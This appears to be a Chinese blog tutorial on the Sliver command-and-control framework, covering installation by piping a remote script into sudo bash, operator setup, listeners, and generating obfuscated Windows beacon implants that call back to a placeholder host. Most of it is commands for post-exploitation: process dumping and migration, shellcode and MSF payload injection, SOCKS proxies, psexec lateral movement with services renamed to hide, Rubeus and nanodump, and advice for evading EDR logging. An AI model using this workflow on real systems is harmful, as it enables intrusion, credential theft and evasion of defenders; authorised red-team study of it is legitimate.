Sliver从入门到入土

笔者最近在使用sliver过程中,发现目前中文社区内暂无较为完善的教程。

而且目前命令搜索相当麻烦,因此整理出一份入土教程供大家参考

当然了,同时也会作为本人备忘录使用。

安装

  1. 一键脚本

    1
    curl -q -o- https://sliver.sh/install | sudo bash
  2. 自行下载

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
        直接从https://github.com/BishopFox/sliver/releases下载,
    服务端下载-server,例如wget https://github.com/BishopFox/sliver/releases/download/v1.5.34/sliver-server_linux
    客户端用的上就下载,是-client

    ​ 需要注意最好机器上安装msf,如果需要stage的话,msf是必须的。
    ​ ```

    ## 使用

    ### 协同工作

    **服务端**

    需要注意的是,server端默认监听的端口为31337。创建用户配置文件尽量不要用默认的。

    ```sh
    #创建用户配置文件
    new-operator --name Jesen --lport 20000 --lhost 1.1.1.1
    #启用多用户
    multiplayer -l 20000

客户端

1
2
3
4
5
6
7
#配置文件放入位置
windows=C:\Users\xxx\.sliver-client\configs\
linux=~/.sliver-client/configs/

# 放入之后,如果只有一个配置文件,那么直接运行client即可,否则需要import

./sliver-client_linux import /root/tool/Jesen_1.1.1.1.cfg

设置监听

支持mtls http https dns wg

1
2
#监听本机23333端口
mtls -l 23333

其他协议同理,不会就-h

生成木马(Implants)

​ b站上面有个教程很粗糙(没错,就是写着最细的那个),误人子弟。他没有说明beacon和session的区别,跟着他走是生成session,会有一些局限性。在最新版本中,如果生成的beacon,通过interactive命令即可很快的转成session,反之,不好意思官方没有实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#首先要记住,遇事不决-h / help
#例如generate -h

#生成beacon,采用mtls回连1.1.1.1的23333端口,如无特殊说明,演示机IP均会打码成1.1.1.1
generate beacon --arch amd64 --os windows --mtls 1.1.1.1:23333 --save .

#时间会有点长,因为要混淆,大概输出结果如下
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:01:05
[*] Implant saved to /xxx/DIFFICULT_DYNAMO.exe


#重新用同样配置生成新的
regenerate

开始干活

上线会有提示,用beacons命令可以看到:

image-20230210230859968

输入use,选择对应的beacon。

基本信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#用户名
whoami
#ip
ifconfig
#当前目录
pwd
#查看文件内容
cat [path]
#切换目录
cd [location]
#列目录
ls
#高级操作
execute-assembly
execute-assembly (inline with --in-process)

#进程操作
ps [-c/--print-cmdline]
-c代表显示命令行参数?
terminate [pid]
procdump -p [pid]
migrate [pid] (Windows Only)
#上传下载
upload [local src] <remote dst>
download remote-path [local-path/.]
#获取gid pid uid
getgid
getpid
getuid
#关闭interactive session,不关闭进程
close
#beacon转换session(需要等待beacon回连周期)(无法显示看出来,只能看颜色,红色session蓝色beacon)
interactive
#文件操作
mv
rename
rm
mkdir
#网络
netstat
#链接远程ssh
ssh -l root -P root123 192.168.0.100 ls
#关闭session(根据Implants名字或者session id)
kill
#session信息
info
ping(session存活否?)
#截图
screenshot



#其他的就自己看翻译吧
execute Execute a program on the remote system
execute-shellcode Executes the given shellcode in the sliver process
extensions Manage extensions
msf Execute an MSF payload in the current process
msf-inject Inject an MSF payload into a process
pivots List pivots for active session
portfwd In-band TCP port forwarding
reconfig Reconfigure the active beacon/session
rportfwd reverse port forwardings
shell Start an interactive shell
shikata-ga-nai Polymorphic binary shellcode encoder(shellcode编码器,msf)
sideload Load and execute a shared object (DLL) in a remote process
socks5 In-band SOCKS5 Proxy

代理、端口相关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#socks5开启
Start an in-band SOCKS5 proxy
Usage:
======
start [flags]
Flags:
======
-h, --help display help
-H, --host string Bind a Socks5 Host (default: 127.0.0.1)
-P, --port string Bind a Socks5 Port (default: 1081)
-u, --user string socks5 auth username (will generate random password)
#socks5关闭
socks5 stop -i [ID从1开始]

#端口转发开启
portfwd add -b 127.0.0.1:13389 -r 192.168.0.100:3389
portfwd rm -i [ID从1开始]
rportfwd 转发本地端口到远程,命令类似。

域相关

1
2
3
4
5
6
getsystem
psexec
#需要先创建profiles
profiles new --format service --skip-symbols --mtls 1.1.1.1:23333 win-svc64
#创建完才能psexec,记得改名字和描述,不然会显示sliver,一看就看出来
psexec -d Description -s ServiceName -p win-svc64 TARGET_FQDN

Sliver C2 Implant

扩展能力

首先要更新索引

1
2
3
4
5
sliver > armory

[*] Fetching 1 armory index(es) ... done!
[*] Fetching package information ... done!
[...trim...]

安装官方的工具,无需安装coffloader。

1
2
3
armory install rubeus
armory install seatbelt
armory install nanodump

安装非官方工具,需要安装COFF Loader extension

1
2
#参考链接1: cna转sliver格式
https://github.com/BishopFox/sliver/wiki/BOF-&-COFF-Support#converting-bofs-to-sliver

安装工具的使用:
需要注意如果给扩展传参数,前面需要加—表示sliver自己的参数已经给完了,—之后的全是seatbelt的参数了。

1
seatbelt -i -- -group=system

额外注意

  1. shell命令会导致日志的生成,而且目前没有实现参数混淆,会导致edr发现你的敏感操作。

event log view

  1. 少在cmd/ps中使用whoami,hostname,systeminfo等命令,转而使用框架自带命令,因为那些原生命令处于监控之中。

  2. 文档写于20230210,如有遗漏请留言补充,我会同步更新到文章中。

  3. 随着时间流逝本篇文章不可避免会过时,目前最新sliver版本如下:

    1
    2
    [*] Client v1.5.34 - windows/amd64
    [*] Server v1.5.34 - linux/amd64

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!